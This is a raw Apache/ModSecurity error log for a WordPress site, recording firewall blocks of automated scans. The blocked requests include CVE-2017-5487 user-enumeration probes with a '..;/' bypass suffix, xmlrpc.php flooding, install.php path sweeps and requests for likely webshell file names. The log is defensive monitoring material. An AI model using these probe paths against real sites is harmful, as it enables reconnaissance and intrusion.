[Fri Apr 17 00:16:51.626906 2026] [:error] [pid 43386:tid 43427] [client 62.60.131.159:15260] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELc-91GAVgUfhPVDGotQAAAEc"]
[Fri Apr 17 00:16:54.885861 2026] [:error] [pid 43387:tid 43477] [client 62.60.131.159:15280] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELdiBNsONqHxWTakUhywAAAJg"]
[Fri Apr 17 00:16:56.173968 2026] [:error] [pid 43385:tid 43396] [client 62.60.131.159:16214] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeELeMnIxkJaUI8KNs7sMgAAAAc"]
[Fri Apr 17 00:16:58.474892 2026] [:error] [pid 43387:tid 43460] [client 62.60.131.159:16228] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeELeiBNsONqHxWTakUh2AAAAIk"]
[Fri Apr 17 00:17:01.771609 2026] [:error] [pid 43482:tid 43494] [client 62.60.131.159:16240] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeELfT9SZnuKxlHrct1wHgAAAMo"]
[Fri Apr 17 00:17:06.063173 2026] [:error] [pid 3245:tid 3277] [client 62.60.131.159:60050] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeELgqESOMTHVLs-uFCsEAAAAQ8"]
[Fri Apr 17 00:34:42.428420 2026] [:error] [pid 43386:tid 43438] [client 144.31.35.163:61583] [client 144.31.35.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.31.35.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEPou91GAVgUfhPVDGwrgAAAFI"]
[Fri Apr 17 00:39:15.991596 2026] [:error] [pid 43387:tid 43453] [client 38.159.226.37:59491] [client 38.159.226.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.159.226.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEQsyBNsONqHxWTakUt6wAAAIM"]
[Fri Apr 17 00:39:25.914679 2026] [:error] [pid 43386:tid 43421] [client 38.159.226.37:53094] [client 38.159.226.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.159.226.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEQve91GAVgUfhPVDGyKAAAAEE"]
[Fri Apr 17 00:39:36.422718 2026] [:error] [pid 43385:tid 43413] [client 38.159.226.37:53330] [client 38.159.226.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.159.226.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEQyMnIxkJaUI8KNs70owAAABc"]
[Fri Apr 17 00:39:46.986685 2026] [:error] [pid 43385:tid 43395] [client 38.159.226.37:53566] [client 38.159.226.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.159.226.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEQ0snIxkJaUI8KNs70rwAAAAY"]
[Fri Apr 17 00:39:57.502560 2026] [:error] [pid 3245:tid 3286] [client 38.159.226.37:60717] [client 38.159.226.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.159.226.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEQ3aESOMTHVLs-uFDAvAAAARg"]
[Fri Apr 17 00:59:04.328179 2026] [:error] [pid 43482:tid 43486] [client 34.77.194.205:58496] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVWD9SZnuKxlHrct2JEQAAAMI"]
[Fri Apr 17 00:59:08.194036 2026] [:error] [pid 43482:tid 43490] [client 34.77.194.205:58496] [client 34.77.194.205] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeEVXD9SZnuKxlHrct2JJQAAAMY"]
[Fri Apr 17 00:59:09.821490 2026] [:error] [pid 43482:tid 43484] [client 34.77.194.205:58496] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVXT9SZnuKxlHrct2JNQAAAMA"]
[Fri Apr 17 00:59:11.959554 2026] [:error] [pid 43387:tid 43471] [client 34.77.194.205:53975] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVXyBNsONqHxWTakUzSgAAAJI"]
[Fri Apr 17 00:59:14.129557 2026] [:error] [pid 43482:tid 43500] [client 34.77.194.205:57737] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVYj9SZnuKxlHrct2JRgAAANA"]
[Fri Apr 17 00:59:16.248631 2026] [:error] [pid 43385:tid 43392] [client 34.77.194.205:62049] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVZMnIxkJaUI8KNs77fAAAAAM"]
[Fri Apr 17 00:59:18.397024 2026] [:error] [pid 26480:tid 26503] [client 34.77.194.205:50554] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVZgwLDJKTQNfarA1YKQAAAdU"]
[Fri Apr 17 00:59:20.630842 2026] [:error] [pid 26480:tid 26501] [client 34.77.194.205:59203] [client 34.77.194.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.194.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVaAwLDJKTQNfarA1YSAAAAdM"]
[Fri Apr 17 00:59:20.630972 2026] [:error] [pid 26480:tid 26501] [client 34.77.194.205:59203] [client 34.77.194.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.77.194.205, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEVaAwLDJKTQNfarA1YSAAAAdM"]
[Fri Apr 17 01:17:40.015995 2026] [:error] [pid 43482:tid 43503] [client 154.28.229.216:27766] [client 154.28.229.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.28.229.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/https%3A/gigfragments.org/xmlrpc.php%3Frsd"] [unique_id "aeEZtD9SZnuKxlHrct2aEAAAANM"]
[Fri Apr 17 03:47:51.766036 2026] [:error] [pid 9151:tid 9164] [client 180.110.203.108:57661] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeE858hTVuRPkua22vRdQwAAAAM"]
[Fri Apr 17 04:13:48.728534 2026] [:error] [pid 9151:tid 9166] [client 209.38.89.62:39196] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aeFC_MhTVuRPkua22vRnHwAAAAU"]
[Fri Apr 17 04:13:49.124878 2026] [:error] [pid 9151:tid 9168] [client 209.38.89.62:39198] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-admin/install.php"] [unique_id "aeFC_chTVuRPkua22vRnIgAAAAc"]
[Fri Apr 17 04:13:49.206209 2026] [:error] [pid 9152:tid 9210] [client 209.38.89.62:39200] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new/wp-admin/install.php"] [unique_id "aeFC_ZJYca8I3TNCwIfUCAAAAFQ"]
[Fri Apr 17 04:13:49.237796 2026] [:error] [pid 9152:tid 9205] [client 209.38.89.62:39202] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/old/wp-admin/install.php"] [unique_id "aeFC_ZJYca8I3TNCwIfUCQAAAE8"]
[Fri Apr 17 04:13:49.282768 2026] [:error] [pid 9151:tid 9171] [client 209.38.89.62:39216] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aeFC_chTVuRPkua22vRnJAAAAAo"]
[Fri Apr 17 04:13:49.326844 2026] [:error] [pid 9151:tid 9172] [client 209.38.89.62:39230] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test/wp-admin/install.php"] [unique_id "aeFC_chTVuRPkua22vRnJQAAAAs"]
[Fri Apr 17 04:13:49.545160 2026] [:error] [pid 9152:tid 9192] [client 209.38.89.62:39236] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blog/wp-admin/install.php"] [unique_id "aeFC_ZJYca8I3TNCwIfUCgAAAEI"]
[Fri Apr 17 04:13:49.663551 2026] [:error] [pid 9151:tid 9167] [client 209.38.89.62:39248] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cms/wp-admin/install.php"] [unique_id "aeFC_chTVuRPkua22vRnJwAAAAY"]
[Fri Apr 17 04:13:49.723064 2026] [:error] [pid 9152:tid 9202] [client 209.38.89.62:39250] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web/wp-admin/install.php"] [unique_id "aeFC_ZJYca8I3TNCwIfUCwAAAEw"]
[Fri Apr 17 04:13:49.810310 2026] [:error] [pid 9152:tid 9212] [client 209.38.89.62:39258] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup/wp-admin/install.php"] [unique_id "aeFC_ZJYca8I3TNCwIfUDwAAAFY"]
[Fri Apr 17 04:43:25.180486 2026] [autoindex:error] [pid 9153:tid 9220] [client 20.199.113.127:62878] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 17 04:43:29.741907 2026] [:error] [pid 9153:tid 9242] [client 20.199.113.127:62878] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeFJ8eMHGxkTZX3c45fZXgAAAJg"]
[Fri Apr 17 04:43:30.259737 2026] [:error] [pid 9151:tid 9185] [client 20.199.113.127:51959] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeFJ8shTVuRPkua22vSAAQAAABg"]
[Fri Apr 17 04:43:30.768595 2026] [:error] [pid 51878:tid 51885] [client 20.199.113.127:36361] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeFJ8knQhUtMbw9EsgYkbAAAAQU"]
[Fri Apr 17 04:43:31.305186 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:62896] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeFJ80nQhUtMbw9EsgYkdgAAAQI"]
[Fri Apr 17 04:43:31.812887 2026] [:error] [pid 51878:tid 51885] [client 20.199.113.127:58491] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeFJ80nQhUtMbw9EsgYkegAAAQU"]
[Fri Apr 17 04:43:32.330835 2026] [:error] [pid 51878:tid 51885] [client 20.199.113.127:62145] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeFJ9EnQhUtMbw9EsgYkjAAAAQU"]
[Fri Apr 17 04:43:32.881382 2026] [:error] [pid 51878:tid 51889] [client 20.199.113.127:51906] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeFJ9EnQhUtMbw9EsgYkmwAAAQk"]
[Fri Apr 17 04:43:33.379644 2026] [:error] [pid 51878:tid 51904] [client 20.199.113.127:54589] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeFJ9UnQhUtMbw9EsgYkpgAAARg"]
[Fri Apr 17 04:43:33.874886 2026] [:error] [pid 9151:tid 9184] [client 20.199.113.127:62170] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeFJ9chTVuRPkua22vSACwAAABc"]
[Fri Apr 17 04:43:34.395608 2026] [:error] [pid 51878:tid 51889] [client 20.199.113.127:54585] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeFJ9knQhUtMbw9EsgYkrgAAAQk"]
[Fri Apr 17 04:43:34.886543 2026] [:error] [pid 9153:tid 9220] [client 20.199.113.127:25497] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeFJ9uMHGxkTZX3c45fZZQAAAII"]
[Fri Apr 17 04:43:35.419513 2026] [:error] [pid 51878:tid 51901] [client 20.199.113.127:62152] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeFJ90nQhUtMbw9EsgYktQAAARU"]
[Fri Apr 17 04:43:35.951789 2026] [:error] [pid 9153:tid 9227] [client 20.199.113.127:62881] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeFJ9-MHGxkTZX3c45fZcQAAAIk"]
[Fri Apr 17 04:43:36.475415 2026] [:error] [pid 9263:tid 9269] [client 20.199.113.127:62891] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeFJ-BP68VyHNvj1e57J_AAAAMQ"]
[Fri Apr 17 04:43:36.978320 2026] [:error] [pid 9152:tid 9208] [client 20.199.113.127:54539] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeFJ-JJYca8I3TNCwIfwlAAAAFI"]
[Fri Apr 17 04:43:37.488520 2026] [:error] [pid 9263:tid 9283] [client 20.199.113.127:51907] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeFJ-RP68VyHNvj1e57KBAAAANI"]
[Fri Apr 17 04:43:37.966522 2026] [:error] [pid 9151:tid 9176] [client 20.199.113.127:51911] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeFJ-chTVuRPkua22vSAFQAAAA8"]
[Fri Apr 17 04:43:38.469651 2026] [:error] [pid 9152:tid 9214] [client 20.199.113.127:62196] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeFJ-pJYca8I3TNCwIfwqAAAAFg"]
[Fri Apr 17 04:43:38.985386 2026] [:error] [pid 9263:tid 9281] [client 20.199.113.127:25478] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeFJ-hP68VyHNvj1e57KEAAAANA"]
[Fri Apr 17 04:43:39.497566 2026] [:error] [pid 51878:tid 51885] [client 20.199.113.127:26041] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeFJ-0nQhUtMbw9EsgYkwgAAAQU"]
